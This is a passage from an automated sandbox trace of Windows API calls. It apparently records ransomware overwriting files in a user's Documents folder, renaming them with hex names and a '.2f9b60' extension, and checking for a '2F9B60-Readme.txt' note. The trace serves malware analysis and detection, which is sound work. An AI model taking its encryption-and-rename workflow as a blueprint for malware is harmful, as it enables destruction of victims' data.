Flags=0x8, Size=0x70) returned 0x1b85f390 [0093.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f880 [0093.817] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f880) returned 1 [0093.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f9560 [0093.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f880 [0093.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f850 [0093.817] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f850) returned 1 [0093.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f390) returned 1 [0093.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0093.818] WriteFile (in: hFile=0xd04, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2460f7a0, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x2460f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0093.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0093.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86ecd0 [0093.819] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0093.819] WriteFile (in: hFile=0xd04, lpBuffer=0x133600*, nNumberOfBytesToWrite=0x156, lpNumberOfBytesWritten=0x2460f850, lpOverlapped=0x0 | out: lpBuffer=0x133600*, lpNumberOfBytesWritten=0x2460f850*=0x156, lpOverlapped=0x0) returned 1 [0093.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0093.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f390 [0093.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8b0 [0093.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f8b0) returned 1 [0093.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85f8b0 [0093.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f880 [0093.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f850 [0093.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f850) returned 1 [0093.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f390) returned 1 [0093.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0093.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1cd9cf10 [0093.821] sprintf (in: _Dest=0x1cd9cf10, _Format="%c%c" | out: _Dest="47") returned 2 [0093.821] sprintf (in: _Dest=0x1cd9cf12, _Format="%c%c" | out: _Dest="7c") returned 2 [0093.821] sprintf (in: _Dest=0x1cd9cf14, _Format="%c%c" | out: _Dest="d4") returned 2 [0093.821] sprintf (in: _Dest=0x1cd9cf16, _Format="%c%c" | out: _Dest="b0") returned 2 [0093.821] sprintf (in: _Dest=0x1cd9cf18, _Format="%c%c" | out: _Dest="ed") returned 2 [0093.821] sprintf (in: _Dest=0x1cd9cf1a, _Format="%c%c" | out: _Dest="bf") returned 2 [0093.821] sprintf (in: _Dest=0x1cd9cf1c, _Format="%c%c" | out: _Dest="9a") returned 2 [0093.821] sprintf (in: _Dest=0x1cd9cf1e, _Format="%c%c" | out: _Dest="9f") returned 2 [0093.821] sprintf (in: _Dest=0x1cd9cf20, _Format="%c%c" | out: _Dest="f5") returned 2 [0093.821] sprintf (in: _Dest=0x1cd9cf22, _Format="%c%c" | out: _Dest="6f") returned 2 [0093.821] sprintf (in: _Dest=0x1cd9cf24, _Format="%c%c" | out: _Dest="24") returned 2 [0093.821] sprintf (in: _Dest=0x1cd9cf26, _Format="%c%c" | out: _Dest="7c") returned 2 [0093.821] sprintf (in: _Dest=0x1cd9cf28, _Format="%c%c" | out: _Dest="17") returned 2 [0093.821] sprintf (in: _Dest=0x1cd9cf2a, _Format="%c%c" | out: _Dest="cd") returned 2 [0093.821] sprintf (in: _Dest=0x1cd9cf2c, _Format="%c%c" | out: _Dest="35") returned 2 [0093.821] sprintf (in: _Dest=0x1cd9cf2e, _Format="%c%c" | out: _Dest="c3") returned 2 [0093.821] sprintf (in: _Dest=0x1cd9cf30, _Format="%c%c" | out: _Dest="58") returned 2 [0093.821] sprintf (in: _Dest=0x1cd9cf32, _Format="%c%c" | out: _Dest="4c") returned 2 [0093.821] sprintf (in: _Dest=0x1cd9cf34, _Format="%c%c" | out: _Dest="95") returned 2 [0093.822] sprintf (in: _Dest=0x1cd9cf36, _Format="%c%c" | out: _Dest="97") returned 2 [0093.822] sprintf (in: _Dest=0x1cd9cf38, _Format="%c%c" | out: _Dest="e7") returned 2 [0093.822] sprintf (in: _Dest=0x1cd9cf3a, _Format="%c%c" | out: _Dest="f8") returned 2 [0093.822] sprintf (in: _Dest=0x1cd9cf3c, _Format="%c%c" | out: _Dest="62") returned 2 [0093.822] sprintf (in: _Dest=0x1cd9cf3e, _Format="%c%c" | out: _Dest="75") returned 2 [0093.822] sprintf (in: _Dest=0x1cd9cf40, _Format="%c%c" | out: _Dest="cc") returned 2 [0093.822] sprintf (in: _Dest=0x1cd9cf42, _Format="%c%c" | out: _Dest="63") returned 2 [0093.822] sprintf (in: _Dest=0x1cd9cf44, _Format="%c%c" | out: _Dest="c0") returned 2 [0093.822] sprintf (in: _Dest=0x1cd9cf46, _Format="%c%c" | out: _Dest="89") returned 2 [0093.822] sprintf (in: _Dest=0x1cd9cf48, _Format="%c%c" | out: _Dest="9b") returned 2 [0093.822] sprintf (in: _Dest=0x1cd9cf4a, _Format="%c%c" | out: _Dest="e8") returned 2 [0093.822] sprintf (in: _Dest=0x1cd9cf4c, _Format="%c%c" | out: _Dest="75") returned 2 [0093.822] sprintf (in: _Dest=0x1cd9cf4e, _Format="%c%c" | out: _Dest="c2") returned 2 [0093.822] sprintf (in: _Dest=0x1cd9cf50, _Format="%c%c" | out: _Dest="58") returned 2 [0093.822] sprintf (in: _Dest=0x1cd9cf52, _Format="%c%c" | out: _Dest="d1") returned 2 [0093.822] sprintf (in: _Dest=0x1cd9cf54, _Format="%c%c" | out: _Dest="f4") returned 2 [0093.822] sprintf (in: _Dest=0x1cd9cf56, _Format="%c%c" | out: _Dest="6a") returned 2 [0093.822] RtlInitAnsiString (in: DestinationString=0x2460f8c8, SourceString="477cd4b0edbf9a9ff56f247c17cd35c3584c9597e7f86275cc63c0899be875c258d1f46a" | out: DestinationString="477cd4b0edbf9a9ff56f247c17cd35c3584c9597e7f86275cc63c0899be875c258d1f46a") [0093.822] RtlAnsiStringToUnicodeString (in: DestinationString=0x2460f898, SourceString="477cd4b0edbf9a9ff56f247c17cd35c3584c9597e7f86275cc63c0899be875c258d1f46a", AllocateDestinationString=1 | out: DestinationString="477cd4b0edbf9a9ff56f247c17cd35c3584c9597e7f86275cc63c0899be875c258d1f46a") returned 0x0 [0093.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x1b7ad5c0 [0093.822] wcscat (in: _Dest=0x1b7846d0, _Source="477cd4b0edbf9a9ff5" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\477cd4b0edbf9a9ff5") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\477cd4b0edbf9a9ff5" [0093.822] wcscat (in: _Dest=0x1b7846d0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\477cd4b0edbf9a9ff5.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\477cd4b0edbf9a9ff5.2f9b60" [0093.822] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\477cd4b0edbf9a9ff5.2f9b60", NtPathName=0x2460f870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\477cd4b0edbf9a9ff5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1ce114a0 [0093.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce114a0) returned 1 [0093.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0093.826] NtQueryInformationFile (in: FileHandle=0xd04, IoStatusBlock=0x2460f8d8, FileInformation=0x2460f8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2460f8d8, FileInformation=0x2460f8e8) returned 0x0 [0093.826] NtSetInformationFile (FileHandle=0xd04, IoStatusBlock=0x2460f8d8, FileInformation=0x2460f8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0093.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7846d0) returned 1 [0093.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 [0093.828] FlushFileBuffers (hFile=0xd04) returned 1 [0093.829] CloseHandle (hObject=0xd04) returned 1 [0093.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85f390 [0093.830] wcscpy (in: _Dest=0x1b85f390, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0093.830] wcscat (in: _Dest=0x1b85f390, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0093.830] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0093.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f390) returned 1 [0093.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8662c0) returned 1 Thread: id = 543 os_tid = 0xe08 [0093.833] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_i8DK.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_i8dk.ods")) returned 0x20 [0093.833] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_i8DK.ods", dwFileAttributes=0x20) returned 1 [0093.834] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_i8DK.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_i8dk.ods"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd04 [0093.834] GetFileSizeEx (in: hFile=0xd04, lpFileSize=0x247ff760 | out: lpFileSize=0x247ff760*=45640) returned 1 [0093.834] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0xb244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.834] ReadFile (in: hFile=0xd04, lpBuffer=0x247ff6e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x247ff728, lpOverlapped=0x0 | out: lpBuffer=0x247ff6e0*, lpNumberOfBytesRead=0x247ff728*=0x4, lpOverlapped=0x0) returned 1 [0093.835] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0093.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f940 [0093.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8e0 [0093.835] NtQuerySystemTime (in: CurrentTime=0x247ff620 | out: CurrentTime=0x247ff620*=132462176996758000) returned 0x0 [0093.835] RtlRandomEx (in: Seed=0x247ff610 | out: Seed=0x247ff610) returned 0x8e9d80a [0093.835] RtlRandomEx (in: Seed=0x247ff610 | out: Seed=0x247ff610) returned 0x5c9ed481 [0093.835] RtlRandomEx (in: Seed=0x247ff610 | out: Seed=0x247ff610) returned 0x33e33bfc [0093.836] RtlRandomEx (in: Seed=0x247ff610 | out: Seed=0x247ff610) returned 0x63c2043 [0093.836] RtlRandomEx (in: Seed=0x247ff610 | out: Seed=0x247ff610) returned 0x844d2ff [0093.836] RtlRandomEx (in: Seed=0x247ff610 | out: Seed=0x247ff610) returned 0x29c470d7 [0093.836] RtlRandomEx (in: Seed=0x247ff610 | out: Seed=0x247ff610) returned 0x39e9c045 [0093.836] RtlRandomEx (in: Seed=0x247ff610 | out: Seed=0x247ff610) returned 0x56aa0ea3 [0093.836] RtlRandomEx (in: Seed=0x247ff610 | out: Seed=0x247ff610) returned 0x6a6d7d2 [0093.836] RtlRandomEx (in: Seed=0x247ff610 | out: Seed=0x247ff610) returned 0x5df08dca [0093.836] RtlRandomEx (in: Seed=0x247ff610 | out: Seed=0x247ff610) returned 0x74378fc [0093.836] RtlRandomEx (in: Seed=0x247ff610 | out: Seed=0x247ff610) returned 0x34ffe75c [0093.836] RtlRandomEx (in: Seed=0x247ff610 | out: Seed=0x247ff610) returned 0x7cd50ea4 [0093.836] RtlRandomEx (in: Seed=0x247ff610 | out: Seed=0x247ff610) returned 0x260c8b72 [0093.836] RtlRandomEx (in: Seed=0x247ff610 | out: Seed=0x247ff610) returned 0x7c668c6a [0093.836] RtlRandomEx (in: Seed=0x247ff610 | out: Seed=0x247ff610) returned 0x531e31ba [0093.836] RtlRandomEx (in: Seed=0x247ff610 | out: Seed=0x247ff610) returned 0x699c42b4 [0093.836] RtlRandomEx (in: Seed=0x247ff610 | out: Seed=0x247ff610) returned 0x3466ff95 [0093.836] RtlRandomEx (in: Seed=0x247ff610 | out: Seed=0x247ff610) returned 0x7da68cc7 [0093.836] RtlRandomEx (in: Seed=0x247ff610 | out: Seed=0x247ff610) returned 0x7798d71f [0093.836] RtlRandomEx (in: Seed=0x247ff610 | out: Seed=0x247ff610) returned 0x4601bb44 [0093.836] RtlRandomEx (in: Seed=0x247ff610 | out: Seed=0x247ff610) returned 0x769d803c [0093.836] RtlRandomEx (in: Seed=0x247ff610 | out: Seed=0x247ff610) returned 0x5298b585 [0093.836] RtlRandomEx (in: Seed=0x247ff610 | out: Seed=0x247ff610) returned 0xc1440ec [0093.836] RtlRandomEx (in: Seed=0x247ff610 | out: Seed=0x247ff610) returned 0x36e92eef [0093.836] RtlRandomEx (in: Seed=0x247ff610 | out: Seed=0x247ff610) returned 0x17e623e5 [0093.836] RtlRandomEx (in: Seed=0x247ff610 | out: Seed=0x247ff610) returned 0x6ca3116 [0093.836] RtlRandomEx (in: Seed=0x247ff610 | out: Seed=0x247ff610) returned 0x3cf18230 [0093.837] RtlRandomEx (in: Seed=0x247ff610 | out: Seed=0x247ff610) returned 0x775ec731 [0093.837] RtlRandomEx (in: Seed=0x247ff610 | out: Seed=0x247ff610) returned 0x6fe18583 [0093.837] RtlRandomEx (in: Seed=0x247ff610 | out: Seed=0x247ff610) returned 0x288d8676 [0093.837] RtlRandomEx (in: Seed=0x247ff610 | out: Seed=0x247ff610) returned 0xfca798e [0093.849] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.863] ReadFile (in: hFile=0xd04, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x247ff680, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x247ff680*=0x3c00, lpOverlapped=0x0) returned 1 [0093.863] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0093.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8662c0 [0093.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0093.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f9a0) returned 1 [0093.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f9560 [0093.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0093.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8e0 [0093.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f8e0) returned 1 [0093.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8662c0) returned 1 [0093.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0093.864] WriteFile (in: hFile=0xd04, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x247ff680, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x247ff680*=0x3c00, lpOverlapped=0x0) returned 1 [0093.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0093.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f5950) returned 1 [0093.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8e0 [0093.866] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0093.866] WriteFile (in: hFile=0xd04, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x247ff730, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x247ff730*=0x104, lpOverlapped=0x0) returned 1 [0093.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0093.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8662c0 [0093.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f850 [0093.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f850) returned 1 [0093.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0093.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f850 [0093.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7f0 [0093.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f7f0) returned 1 [0093.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8662c0) returned 1 [0093.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0093.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1b85f7f0 [0093.868] sprintf (in: _Dest=0x1b85f7f0, _Format="%c%c" | out: _Dest="af") returned 2 [0093.868] sprintf (in: _Dest=0x1b85f7f2, _Format="%c%c" | out: _Dest="17") returned 2 [0093.869] sprintf (in: _Dest=0x1b85f7f4, _Format="%c%c" | out: _Dest="fc") returned 2 [0093.869] sprintf (in: _Dest=0x1b85f7f6, _Format="%c%c" | out: _Dest="af") returned 2 [0093.869] sprintf (in: _Dest=0x1b85f7f8, _Format="%c%c" | out: _Dest="0d") returned 2 [0093.869] sprintf (in: _Dest=0x1b85f7fa, _Format="%c%c" | out: _Dest="3a") returned 2 [0093.869] sprintf (in: _Dest=0x1b85f7fc, _Format="%c%c" | out: _Dest="d4") returned 2 [0093.869] sprintf (in: _Dest=0x1b85f7fe, _Format="%c%c" | out: _Dest="8d") returned 2 [0093.869] sprintf (in: _Dest=0x1b85f800, _Format="%c%c" | out: _Dest="cd") returned 2 [0093.869] sprintf (in: _Dest=0x1b85f802, _Format="%c%c" | out: _Dest="72") returned 2 [0093.869] sprintf (in: _Dest=0x1b85f804, _Format="%c%c" | out: _Dest="ae") returned 2 [0093.869] sprintf (in: _Dest=0x1b85f806, _Format="%c%c" | out: _Dest="01") returned 2 [0093.869] sprintf (in: _Dest=0x1b85f808, _Format="%c%c" | out: _Dest="2e") returned 2 [0093.869] sprintf (in: _Dest=0x1b85f80a, _Format="%c%c" | out: _Dest="20") returned 2 [0093.869] sprintf (in: _Dest=0x1b85f80c, _Format="%c%c" | out: _Dest="c9") returned 2 [0093.869] sprintf (in: _Dest=0x1b85f80e, _Format="%c%c" | out: _Dest="51") returned 2 [0093.869] sprintf (in: _Dest=0x1b85f810, _Format="%c%c" | out: _Dest="d7") returned 2 [0093.869] sprintf (in: _Dest=0x1b85f812, _Format="%c%c" | out: _Dest="01") returned 2 [0093.869] RtlInitAnsiString (in: DestinationString=0x247ff7a8, SourceString="af17fcaf0d3ad48dcd72ae012e20c951d701" | out: DestinationString="af17fcaf0d3ad48dcd72ae012e20c951d701") [0093.869] RtlAnsiStringToUnicodeString (in: DestinationString=0x247ff778, SourceString="af17fcaf0d3ad48dcd72ae012e20c951d701", AllocateDestinationString=1 | out: DestinationString="af17fcaf0d3ad48dcd72ae012e20c951d701") returned 0x0 [0093.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9cd90 [0093.870] wcscat (in: _Dest=0x1b8662c0, _Source="af17fcaf0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\af17fcaf0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\af17fcaf0" [0093.870] wcscat (in: _Dest=0x1b8662c0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\af17fcaf0.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\af17fcaf0.2f9b60" [0093.870] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\af17fcaf0.2f9b60", NtPathName=0x247ff750, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\af17fcaf0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad5c0 [0093.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 [0093.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0093.872] NtQueryInformationFile (in: FileHandle=0xd04, IoStatusBlock=0x247ff7b8, FileInformation=0x247ff7c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x247ff7b8, FileInformation=0x247ff7c8) returned 0x0 [0093.872] NtSetInformationFile (FileHandle=0xd04, IoStatusBlock=0x247ff7b8, FileInformation=0x247ff7c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0093.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8662c0) returned 1 [0093.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9cd90) returned 1 [0093.874] FlushFileBuffers (hFile=0xd04) returned 1 [0093.875] CloseHandle (hObject=0xd04) returned 1 [0093.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b8662c0 [0093.877] wcscpy (in: _Dest=0x1b8662c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0093.877] wcscat (in: _Dest=0x1b8662c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0093.877] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0093.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8662c0) returned 1 [0093.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ed40) returned 1 Thread: id = 544 os_tid = 0xe0c [0093.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x1b82c030 [0093.886] wcscpy (in: _Dest=0x1b82c030, _Source="C:\\ProgramData\\Microsoft\\MSDN\\8.0" | out: _Dest="C:\\ProgramData\\Microsoft\\MSDN\\8.0") returned="C:\\ProgramData\\Microsoft\\MSDN\\8.0" [0093.886] wcscat (in: _Dest=0x1b82c030, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\MSDN\\8.0\\") returned="C:\\ProgramData\\Microsoft\\MSDN\\8.0\\" [0093.886] wcscat (in: _Dest=0x1b82c030, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\MSDN\\8.0\\*") returned="C:\\ProgramData\\Microsoft\\MSDN\\8.0\\*" [0093.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98d00 [0093.887] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\MSDN\\8.0\\*", lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cd90 [0093.887] wcscmp (_String1=".", _String2=".") returned 0 [0093.887] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.887] wcscmp (_String1="..", _String2=".") returned 1 [0093.887] wcscmp (_String1="..", _String2="..") returned 0 [0093.887] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0093.887] FindClose (in: hFindFile=0x1cd9cd90 | out: hFindFile=0x1cd9cd90) returned 1 [0093.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98d00) returned 1 [0093.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0093.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 